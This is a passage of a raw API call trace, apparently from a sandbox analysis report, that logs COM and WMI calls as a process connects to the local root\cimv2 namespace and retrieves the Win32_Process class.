WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x352640) returned 0x0 [0129.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0129.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0129.034] WbemDefPath:IUnknown:AddRef (This=0x352640) returned 0x3 [0129.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0129.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0129.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x1b433210) returned 0x0 [0129.034] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433210, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.034] WbemDefPath:IUnknown:Release (This=0x1b433210) returned 0x3 [0129.034] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0129.035] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0129.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0129.035] WbemDefPath:IUnknown:Release (This=0x352640) returned 0x2 [0129.035] WbemDefPath:IUnknown:Release (This=0x352640) returned 0x1 [0129.035] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0129.035] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0129.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x352640, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x352640) returned 0x0 [0129.035] WbemDefPath:IUnknown:AddRef (This=0x352640) returned 0x3 [0129.035] WbemDefPath:IUnknown:Release (This=0x352640) returned 0x2 [0129.035] WbemDefPath:IWbemPath:SetText (This=0x352640, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0129.035] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0129.035] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0129.035] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.035] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0129.036] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0129.036] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0129.036] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.036] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x1b433030) returned 0x0 [0129.036] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433030, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0129.037] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433030, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x1b433450) returned 0x0 [0129.037] WbemLocator:IUnknown:Release (This=0x1b433030) returned 0x0 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x1b433450) returned 0x0 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0129.037] WbemLocator:IUnknown:AddRef (This=0x1b433450) returned 0x3 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0129.037] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0129.037] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0129.038] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0129.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0129.038] WbemLocator:IUnknown:Release (This=0x1b433450) returned 0x2 [0129.038] WbemLocator:IUnknown:Release (This=0x1b433450) returned 0x1 [0129.038] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0129.039] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0129.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433450, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b433450) returned 0x0 [0129.039] WbemLocator:IUnknown:AddRef (This=0x1b433450) returned 0x3 [0129.039] WbemLocator:IUnknown:Release (This=0x1b433450) returned 0x2 [0129.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0129.039] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0129.039] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.039] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x1b4335d0) returned 0x0 [0129.039] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4335d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b403750) returned 0x0 [0129.076] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403750, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x36b370) returned 0x0 [0129.077] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x36b370, pProxy=0x1b403750, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0129.077] WbemLocator:IUnknown:Release (This=0x36b370) returned 0x1 [0129.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403750, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x36b3b8) returned 0x0 [0129.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403750, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x36b370) returned 0x0 [0129.077] WbemLocator:IClientSecurity:SetBlanket (This=0x36b370, pProxy=0x1b403750, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0129.077] WbemLocator:IUnknown:Release (This=0x36b370) returned 0x2 [0129.077] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x1 [0129.077] CoTaskMemFree (pv=0x1b421220) [0129.077] WbemLocator:IUnknown:Release (This=0x1b4335d0) returned 0x0 [0129.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403750, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x36b3b8) returned 0x0 [0129.078] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0129.080] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0129.080] WbemLocator:IUnknown:QueryInterface (in: This=0x1b403750, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0129.081] WbemLocator:IUnknown:AddRef (This=0x36b3b8) returned 0x3 [0129.081] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0129.081] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0129.081] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x36b298) returned 0x0 [0129.081] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x36b298, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.081] WbemLocator:IUnknown:Release (This=0x36b298) returned 0x3 [0129.081] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0129.082] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0129.082] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x36b380) returned 0x0 [0129.082] WbemLocator:IRpcOptions:Query (in: This=0x36b380, pPrx=0x36b3b8, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0129.082] WbemLocator:IUnknown:Release (This=0x36b380) returned 0x3 [0129.082] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x2 [0129.082] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0129.082] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0129.082] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b403750) returned 0x0 [0129.082] WbemLocator:IUnknown:AddRef (This=0x1b403750) returned 0x4 [0129.082] WbemLocator:IUnknown:Release (This=0x1b403750) returned 0x3 [0129.082] WbemLocator:IUnknown:Release (This=0x1b403750) returned 0x2 [0129.082] SysStringLen (param_1=0x0) returned 0x0 [0129.082] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352640, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0129.082] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0129.082] WbemDefPath:IWbemPath:GetText (in: This=0x352640, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.083] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0129.083] WbemLocator:IUnknown:AddRef (This=0x36b3b8) returned 0x3 [0129.083] WbemLocator:IUnknown:QueryInterface (in: This=0x36b3b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x36b3b8) returned 0x0 [0129.083] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x3 [0129.083] WbemLocator:IUnknown:Release (This=0x36b3b8) returned 0x2 [0129.083] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0129.083] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0129.083] IWbemServices:GetObject (in: This=0x1b403750, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x36b790, ppCallResult=0x0) returned 0x0 [0129.092] IWbemClassObject:Get (in: This=0x36b790, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0129.092] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0129.092] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0129.092] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0129.093] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0129.093] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0129.093] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.094] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x1b433190) returned 0x0 [0129.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433190, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0129.094] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433190, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x350f00) returned 0x0 [0129.094] WbemDefPath:IUnknown:Release (This=0x1b433190) returned 0x0 [0129.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x350f00) returned 0x0 [0129.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0129.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0129.095] WbemDefPath:IUnknown:AddRef (This=0x350f00) returned 0x3 [0129.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0129.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0129.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x1b4330d0) returned 0x0 [0129.095] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4330d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.095] WbemDefPath:IUnknown:Release 